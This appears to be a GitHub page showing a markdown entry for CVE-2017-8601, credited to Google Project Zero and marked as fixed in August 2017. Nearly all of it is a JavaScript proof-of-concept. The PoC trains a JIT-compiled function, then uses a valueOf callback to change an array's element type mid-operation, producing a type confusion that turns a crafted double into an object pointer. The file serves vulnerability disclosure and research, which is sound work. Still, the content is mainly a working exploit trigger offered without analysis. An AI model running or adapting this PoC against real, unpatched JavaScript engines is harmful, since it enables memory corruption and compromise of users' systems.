Skip to content

Latest commit

 

History

History
41 lines (29 loc) · 790 Bytes

CVE-2017-8601.md

File metadata and controls

41 lines (29 loc) · 790 Bytes

CVE-2017-8601

  • Fix: Aug 2017
  • Credit: lokihardt of Google Project Zero

PoC

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    let a = [1.1, 2.2];
    let b = new Uint32Array(100);

    for (let i = 0; i < 0x1000; i++)
        func(a, b, {});  // <<---------- REPLACED

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();

Reference